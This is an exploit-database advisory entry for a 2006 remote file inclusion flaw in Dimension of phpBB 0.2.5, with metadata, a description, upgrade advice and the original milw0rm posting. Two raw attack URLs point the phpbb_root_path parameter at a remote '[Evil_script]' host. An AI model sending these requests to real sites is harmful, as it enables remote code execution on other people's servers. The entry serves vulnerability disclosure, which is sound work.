Dimension of phpBB Remote File Inclusion Vulnerability

vendor:

Dimension of phpBB

by:

SpiderZ

9,3

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Dimension of phpBB

Affected Version From: 0.2.5 (phpBB 2.0.21)

Affected Version To: 0.2.5 (phpBB 2.0.21)

Patch Exists: Yes

Related CWE: N/A

CPE: a:phpbb_group:dimension_of_phpbb

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Dimension of phpBB Remote File Inclusion Vulnerability

A remote file inclusion vulnerability exists in Dimension of phpBB 0.2.5 (phpBB 2.0.21). An attacker can exploit this vulnerability to execute arbitrary code on the vulnerable system. The vulnerability is due to insufficient sanitization of user-supplied input to the 'phpbb_root_path' parameter in the 'themen_portal_mitte.php' and 'logger_engine.php' scripts. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable system. Successful exploitation will result in arbitrary code execution on the vulnerable system.

Mitigation:

Upgrade to the latest version of Dimension of phpBB 0.2.5 (phpBB 2.0.21) or later.

Source

Exploit-DB raw data:

_________________________________________________________________________


           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Dimension of phpBB Remote File Inclusion Vulnerability
# For: Dimension of phpBB 0.2.5 (phpBB 2.0.21)
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________


# Remote File Inclusion

http://site.com/[path]/includes/themen_portal_mitte.php?phpbb_root_path=http://[Evil_script]

http://site.com/[path]/includes/logger_engine.php?phpbb_root_path=http://[Evil_script]


------------------------------------------------------------------------------

# Download: http://www.phpbb-dimension.de/dload.php?action=category&cat_id=16

------------------------------------------------------------------------------

# milw0rm.com [2006-10-05]